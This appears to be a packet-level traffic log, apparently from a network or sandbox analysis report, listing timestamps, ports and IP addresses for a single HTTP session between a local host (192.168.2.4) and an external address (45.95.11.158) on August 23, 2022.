Aug 23, 2022 03:43:00.041629076 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.041645050 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.041671038 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.041701078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.041719913 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.041738033 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.041759968 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.041783094 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.041810989 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.041827917 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.041841030 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.041877985 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.041887045 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.041918039 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.041933060 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.041955948 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.041975021 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.041991949 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.042016029 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.042046070 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.042058945 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.042083979 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.042104006 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.042128086 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.042140961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.042165041 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.042363882 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.042396069 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.042409897 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.042433023 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.042455912 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.042480946 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.042510986 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.042566061 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.042598009 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.042622089 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.042653084 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.042779922 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.042814016 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.042834997 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.042866945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.043071032 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.043107986 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.043144941 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.043154955 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.043183088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.043191910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.043226004 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.065951109 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.066008091 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.066035032 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.066059113 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.066093922 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.066123962 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.066142082 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.066175938 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.066200018 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.066248894 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.066260099 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.066293955 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.066318035 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.066348076 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.066365004 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.066395998 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.069447994 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.069499969 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.069520950 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.069546938 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.069580078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.069608927 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.069650888 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.069667101 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.069709063 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.069716930 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.069739103 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.069777966 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.069799900 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.069829941 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.069844961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.069892883 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.069904089 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.069937944 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.069962025 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.070008993 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.070019960 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.070050001 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.070065022 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.070096016 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.070121050 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.070183039 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.070194006 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.070225954 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.070251942 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.070297003 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.070311069 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.070353985 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.070369005 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.070413113 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.070429087 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.070466042 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.070482969 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.070517063 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.070540905 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.070589066 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.070600033 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.070633888 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.070658922 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.070708036 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.070719957 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.070758104 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.070779085 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.070826054 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.070837021 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.070869923 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.070885897 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.070930958 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.070971012 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.071001053 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.071022034 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.071052074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.071082115 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.071122885 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.071135998 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.071156025 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.071182966 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.071227074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.071258068 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.071276903 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.071300030 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.071336031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.071402073 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.071440935 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.071494102 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.071506977 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.071543932 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.071556091 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.071588039 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.071614981 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.071661949 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.071676016 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.071707010 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.071736097 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.071767092 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.071784973 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.071819067 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.071845055 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.071891069 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.071902990 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.071934938 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.071964979 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.071995020 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.072012901 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.072040081 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.072067976 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.072113037 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.072130919 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.072169065 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.072191954 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.072221041 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.072243929 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.072274923 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.076368093 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.076409101 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.076440096 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.076462984 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.076478958 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.076507092 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.076515913 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.076544046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.076565981 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.076605082 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.076613903 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.076642036 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.076663017 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.076685905 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.076719999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.076740026 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.076775074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.076783895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.076809883 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.076829910 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.076852083 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.076864958 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.076888084 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.077040911 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.077080011 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.077111006 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.077150106 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.077157974 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.077184916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.077193975 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.077222109 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.077243090 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.077282906 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.077291965 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.077318907 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.077339888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.077363014 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.077397108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.077413082 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.077419043 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.077435017 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.077466011 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.077502966 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.077517033 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.077542067 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.077554941 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.077589989 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.077608109 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.077631950 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.077658892 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.077693939 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.077728033 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.077747107 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.077785015 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.077795982 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.077801943 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.077821970 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.077858925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.077894926 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.077908993 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.077930927 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.077943087 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.077969074 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.077992916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.078027964 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.078042030 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.078079939 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.078088999 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.078111887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.078131914 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.078154087 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.078180075 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.078218937 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.078227997 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.078267097 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.078277111 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.078299046 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.078315973 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.078337908 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.099947929 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.099983931 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.100008011 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.100028038 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.100045919 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.100076914 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.100091934 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.100116014 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.100123882 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.100142002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.100162983 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.100178957 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.100186110 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.100208998 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.100224972 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.100244045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.100255013 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.100271940 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.100287914 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.100317001 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.101625919 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.101653099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.101674080 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.101687908 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.101703882 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.101720095 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.101726055 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.101747990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.101758003 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.101788998 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.101824999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.101847887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.101861954 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.101871014 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.101885080 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.101902008 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.104320049 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.104355097 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.104379892 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.104392052 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.104413986 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.104458094 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.104465008 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.104484081 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.104502916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.104528904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.104542017 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.104557991 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.104569912 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.104593992 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.104604959 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.104629993 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.104640961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.104662895 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.104676008 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.104691982 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.104708910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.104732990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.104742050 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.104764938 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.104775906 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.104799032 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.104810953 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.104835033 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.104846954 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.104870081 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.104881048 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.104902983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.104913950 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.104933023 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.104944944 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.104973078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.104981899 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.105005026 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.105015993 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.105042934 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.105050087 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.105067015 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.105082035 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.105104923 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.105118036 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.105144978 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.105174065 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.105196953 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.105212927 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.105232954 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.105252981 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.105268955 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.105283976 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.105312109 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.105324030 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:43:00.105355024 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:43:00.105362892 CEST	49743	80	192.168.2.4	45.95.11.158
